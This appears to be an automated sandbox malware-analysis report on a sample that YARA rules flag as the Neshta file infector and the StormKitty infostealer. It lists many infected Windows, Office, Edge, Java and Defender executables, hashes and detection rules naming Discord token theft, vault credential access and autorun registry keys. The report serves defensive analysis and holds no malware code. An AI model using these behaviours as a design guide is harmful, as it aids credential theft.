Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\AutoIt3\Uninstall.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Windows\svchost.com, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe

File created: C:\Windows\svchost.com

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Code function: 1_2_00C96378	1_2_00C96378
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Code function: 1_2_00C95AA8	1_2_00C95AA8
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Code function: 1_2_00C99740	1_2_00C99740
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Code function: 1_2_00C95760	1_2_00C95760
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Code function: 1_2_00C99730	1_2_00C99730
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Code function: 1_2_054405FD	1_2_054405FD
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Code function: 1_2_05440600	1_2_05440600
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Code function: 1_2_0544C108	1_2_0544C108
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Code function: 1_2_0544C0D1	1_2_0544C0D1
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Code function: 1_2_0544C0F7	1_2_0544C0F7
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Code function: 1_2_05445D52	1_2_05445D52
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Code function: 1_2_05445D60	1_2_05445D60

Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\AutoIt3\Au3Check.exe 6AB1464D7BA02FA63FDDFAF5295237352F14F7AF63E443E55D3FFB68A304C304
Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\AutoIt3\Au3Info.exe 6CF772752F25B150052F17600F5D08876E87FCAF774CE834A896688B1836BFD7

Source: LisectAVT_2403002B_4.exe, 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameClient.exe. vs LisectAVT_2403002B_4.exe
Source: LisectAVT_2403002B_4.exe, 00000001.00000002.4478224124.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs LisectAVT_2403002B_4.exe
Source: LisectAVT_2403002B_4.exe, 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenameClient.exe. vs LisectAVT_2403002B_4.exe
Source: LisectAVT_2403002B_4.exe	Binary or memory string: OriginalFilenameClient.exe. vs LisectAVT_2403002B_4.exe
Source: LisectAVT_2403002B_4.exe.0.dr	Binary or memory string: OriginalFilenameClient.exe. vs LisectAVT_2403002B_4.exe

Source: LisectAVT_2403002B_4.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: LisectAVT_2403002B_4.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: LisectAVT_2403002B_4.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: LisectAVT_2403002B_4.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: LisectAVT_2403002B_4.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: LisectAVT_2403002B_4.exe, type: SAMPLE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: LisectAVT_2403002B_4.exe, type: SAMPLE	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: 0.0.LisectAVT_2403002B_4.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
